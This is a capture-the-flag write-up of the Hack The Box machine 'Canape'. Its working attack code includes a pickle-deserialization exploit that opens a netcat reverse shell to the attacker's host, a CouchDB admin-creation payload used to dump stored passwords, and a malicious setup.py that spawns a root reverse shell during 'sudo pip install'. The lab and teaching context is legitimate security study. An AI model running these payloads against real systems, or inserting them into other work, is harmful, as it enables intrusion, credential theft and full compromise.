I really enjoyed this box a lot as it took some creative thinking to get the initial shell and required analyzing and writing some python. Lot’s of new things I hadn’t been exposed to either so it was a great learning experience.
EnumerationNmap to kick things off.
root@kali:~/htb/canape# nmap -p- 10.10.10.70 -T4 Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 12:51 CDT Nmap scan report for 10.10.10.70 Host is up (0.053s latency). Not shown: 65533 filtered ports PORT STATE SERVICE 80/tcp open http 65535/tcp open unknownLet’s run nmap scripts and service detection on the two open ports.
root@kali:~/htb/canape# nmap -sV -sC -p 80,65535 10.10.10.70 Starting Nmap 7.60 ( https://nmap.org ) at 2018-04-26 13:07 CDT Nmap scan report for 10.10.10.70 Host is up (0.057s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-git: | 10.10.10.70:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Last commit message: final # Please enter the commit message for your changes. Li... | Remotes: |_ http://git.canape.htb/simpsons.git |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Simpsons Fan Site 65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu linux; protocol 2.0) | ssh-hostkey: | 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA) | 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA) |_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (EdDSA) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelNmap has found us a Git repository as well as an SSH port on 65535.
We can clone the Git repository one of two ways. The easy way is just using git clone after updating /etc/hosts with an entry for git.canape.htb.
root@kali:~/htb/canape# git clone http://git.canape.htb/simpsons.git Cloning into 'simpsons'... remote: Counting objects: 49, done. remote: Compressing objects: 100% (47/47), done. remote: Total 49 (delta 18), reused 0 (delta 0) Unpacking objects: 100% (49/49), done.Or if that simpsons.git file wasn’t exposed we could use wget to get the job done.
root@kali:~/htb/canape#wget --mirror -I .git 10.10.10.70/.git/Then we can cd into the repository and do a git checkout .
root@kali:~/htb/canape/10.10.10.70# git checkout -- . root@kali:~/htb/canape/10.10.10.70# ls -al total 28 drwxr-xr-x 5 root root 4096 Apr 26 13:26 . drwxr-xr-x 3 root root 4096 Apr 26 13:24 .. drwxr-xr-x 8 root root 4096 Apr 26 13:26 .git -rw-r--r-- 1 root root 2043 Apr 26 13:26 __init__.py -rw-r--r-- 1 root root 207 Apr 26 13:24 robots.txt drwxr-xr-x 4 root root 4096 Apr 26 13:26 static drwxr-xr-x 2 root root 4096 Apr 26 13:26 templatesLooking at __init__.py we can see we’re dealing with a Flask app.
import couchdb import string import random import base64 import cPickle from flask import Flask, render_template, request from hashlib import md5 app = Flask(__name__) app.config.update( DATABASE = "simpsons" ) db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]] @app.errorhandler(404) def page_not_found(e): if random.randrange(0, 2) > 0: return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250))) else: return render_template("index.html") @app.route("/") def index(): return render_template("index.html") @app.route("/quotes") def quotes(): quotes = [] for id in db: quotes.append({"title": db[id]["character"], "text": db[id]["quote"]}) return render_template('quotes.html', entries=quotes) WHITELIST = [ "homer", "marge", "bart", "lisa", "maggie", "moe", "carl", "krusty" ] @app.route("/submit", methods=["GET", "POST"]) def submit(): error = None success = None if request.method == "POST": try: char = request.form["character"] quote = request.form["quote"] if not char or not quote: error = True elif not any(c.lower() in char.lower() for c in WHITELIST): error = True else: # TODO - Pickle into dictionary instead, `check` is ready p_id = md5(char + quote).hexdigest() outfile = open("/tmp/" + p_id + ".p", "wb") outfile.write(char + quote) outfile.close() success = True except Exception as ex: error = True return render_template("submit.html", error=error, success=success) @app.route("/check", methods=["POST"]) def check(): path = "/tmp/" + request.form["id"] + ".p" data = open(path, "rb").read() if "p1" in data: item = cPickle.loads(data) else: item = data return "Still reviewing: " + item if __name__ == "__main__": app.run()Alright so there’s a bit of code to sift through and a few different web pages. /submit takes two variables, char and quote . char is fed through the whitelist of characters to ensure that it contains one of those characters. quote doesn’t have any restrictions as far as content goes. Both of these variables are then hashed using md5 for a filename that is written to /tmp/ .
/check is where we can see it taking an input under the id parameter and using it to open a file under /tmp with that id. Now here’s the interesting part. If p1 is in that file, it will use cPickle to load it (aka deserialize it). If you aren’t familiar with pickle in python, then do read up on it, but basically it is used for serializing data into bytes, and then can be used for deserializing. If you read the documentation on it, they clearly state it should not be fed data that cannot be verified as secure.
So with all of this in mind, we can send serialized code into the quote field and have cPickle deserialize it and execute.
Let’s start simple and verify that we can grab data stored in a file under /tmp . We can first submit the name homer under the char field along with test under the quote field, either through the browser on the page or you can use curl to do the job. Now we’ll need to hash those values combined to get our filename hash to submit under id on the /check page.
Using the source code from __init__.py we can reuse the code to get what we need.
root@kali:~# python Python 2.7.14+ (default, Dec 5 2017, 15:17:02) [GCC 7.2.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from hashlib import md5 >>> char = "homer" >>> quote = "test" >>> p_id = md5(char + quote).hexdigest() >>> p_id '27c2ef5f95bbc3e5fddecf2f5ed9eb8c'With curl and we can POST to /check and verify.
root@kali:~/htb/canape# curl -X POST http://10.10.10.70/check -F 'id=27c2ef5f95bbc3e5fddecf2f5ed9eb8c' Still reviewing: homertestNotice that it’s concatenating the two values together, we’ll need to keep this in mind for our exploit. Alright we’ve got that part figured out, now we need to get serialized data into the quote field. We can do this with cPickle and it’s dump function. There’s a good article here that explains how to do this using a class in python.
So we basically need to do a few things to get code execution.
Serialize code to execute using cPickle and submit it under quote Hash the char and quote fields we submit using md5 to use to recall the payload Submit a POST request to /check using the md5 hash created earlier as the value for idLet’s write up an exploit to help automate all of this.
import cPickle from hashlib import md5 import os import requests import urllib class shell(object): def __reduce__(self): return (os.system,("rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe",)) quote = cPickle.dumps(shell()) char = "(S'homer'\n" p_id = md5(char + quote).hexdigest() submit_url = "http://10.10.10.70/submit" check_url = "http://10.10.10.70/check" client = requests.session() post_data = [('character',char), ('quote',quote)] post_request = client.post(submit_url, data=post_data) post2_data = [('id',p_id)] post2_request = client.post(check_url, data=post2_data)Let’s break this code down.
We first start off by importing all the necessary modules we need, then defining a class object which executes a reverse shell utilzing the mknod method, since most likely nc -e isn’t on the box.
Next we use cPickle to serialize our code to execute and put it in the quote variable.
Now here is an interesting part that took a while to figure out. We know that we have to have a character in the whitelist submitted under char . However if we submit this string as is it will cause our code to not execute when deserialized. So what we can do is essentially make char a string to be deserialized in cPickle which will make it valid non-executable code by adding (S' to the front of the string. We also add \n for the line break to prevent the concatenation we saw earlier. If you’re wondering how I came up with this, you can view the deserialized data in a python terminal to see what cPickle dumps and you get something like this:
cposix system p1 (S'rm -f /var/tmp/backpipe; mknod /var/tmp/backpipe p; nc 10.10.14.14 443 0</var/tmp/backpipe | /bin/bash 1>/var/tmp/backpipe' p2 tp3 Rp4Notice how our mknod string is prefaced with (S' and the closed with a single quote. There may be other ways, but this method gets the job done.
Moving back to our python script, we then hash both char and quote combined and store as a variable in p_id to call later.
Next we define both of our URLs to POST to.
Then using the requests module we create a client for POST’ing and first POST to submit with both char and quote as data.
Finally we POST to /check with id as our data to execute the code.
Using a netcat listener we can catch our shell after running our script.
root@kali:~/htb/canape# python script.py root@kali:~/htb/canape# nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 58452 id uid=33(www-data) gid=33(www-data) groups=33(www-data) python -c 'import pty;pty.spawn("/bin/bash")' www-data@canape:/$Whew!
Privilege Escalation to homerWe have a shell as www-data but we’ll need to escalate to homer to grab user.txt. Looking back at our source code from earlier we can see the Flask app connecting to a couchdb instance on localhost port 5984. We can use curl to verify connectivity and grab the version.
www-data@canape:/$ curl -X GET http://127.0.0.1:5984 {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}Let’s do a general query to grab all the databases currently in couchdb.
www-data@canape:/var/www/html/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs <ml/simpsons$ curl -X GET http://127.0.0.1:5984/_all_dbs ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]If we try to access the password db’s contents we get access denied.
www-data@canape:/$ curl -X GET http://127.0.0.1:5984/passwords/all_docs {"error":"unauthorized","reason":"You are not authorized to access this db."}Luckily the couchdb 2.0 version is vulnerable and allows us to create an admin user by bypassing input validation. You can read up on that here .
Our payload to do this looks like such.
www-data@canape:/$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:absolomb' --data-binary '{"type":"user","name":"absolomb","roles": ["_admin"],"roles": [],"password": "supersecret"}' {"ok":true,"id":"org.couchdb.user:absolomb","rev":"1-821ac8fdc3a5d8e4362682da1beae312"}Now we can query the databases by prefacing our url with username:password format.
www-data@canape:/$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/_all_docs {"total_rows":4,"offset":0,"rows":[ {"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}}, {"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}}, {"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}}, {"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}} ]}To query individual items in the db, we can simply append the id value on the end of the URL.
www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc4380019e4 {"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""} www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc43800368d {"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"} www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438003e5f {"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"} www-data@canape:/tmp$ curl -X GET http://absolomb:supersecret@localhost:5984/passwords/739c5ebdf3f7a001bebb8fc438004738 {"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}Homer’s password is ours!
We can SSH in on port 65535.
root@kali:~/htb/canape# ssh homer@10.10.10.70 -p 65535 homer@10.10.10.70's password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage Last login: Tue Apr 10 12:57:08 2018 from 10.10.14.5 homer@canape:~$ Root Privilege EscalationIf we check homer’s sudo permissions we can see he’s able to run pip install as root.
homer@canape:~$ sudo -l [sudo] password for homer: Matching Defaults entries for homer on canape: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User homer may run the following commands on canape: (root) /usr/bin/pip install *To exploit this, we can simply create a malicious python package that will run code when it’s installed. To do this we can create a setup.py file on our attacking box with the following.
import os import pty import socket from setuptools import setup from setuptools.command.install import install class MyClass(install): def run(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("10.10.14.14", 443)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.putenv("HISTFILE",'/dev/null') pty.spawn("/bin/bash") s.close() setup( cmdclass={ "install": MyClass } )This basically just tells pip to run MyClass at install, which will send us a reverse shell.
Now we’ll need to package it.
root@kali:~/htb/canape# python setup.py sdistBy default it creates a UNKNOWN-0.0.0.tar.gz file under dist , which we can copy out and rename as shell.tar.gz then copy to our victim.
homer@canape:~$ wget http://10.10.14.14/shell.tar.gz --2018-04-27 12:23:05-- http://10.10.14.14/shell.tar.gz Connecting to 10.10.14.14:80... connected. HTTP request sent, awaiting response... 200 OK Length: 775 [application/gzip] Saving to: ‘shell.tar.gz’ shell.tar.gz 100%[=================================================>] 775 --.-KB/s in 0s 2018-04-27 12:23:05 (126 MB/s) - ‘shell.tar.gz’ saved [775/775]Now we can start a netcat listener and run sudo with pip install .
homer@canape:~$ sudo /usr/bin/pip install shell.tar.gz The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag. Processing ./shell.tar.gz Installing collected packages: UNKNOWN Running setup.py install for UNKNOWN ... root@kali:~/htb/canape# nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.14] from (UNKNOWN) [10.10.10.70] 55420 root@canape:/tmp/pip-bz9te7-build#Finished!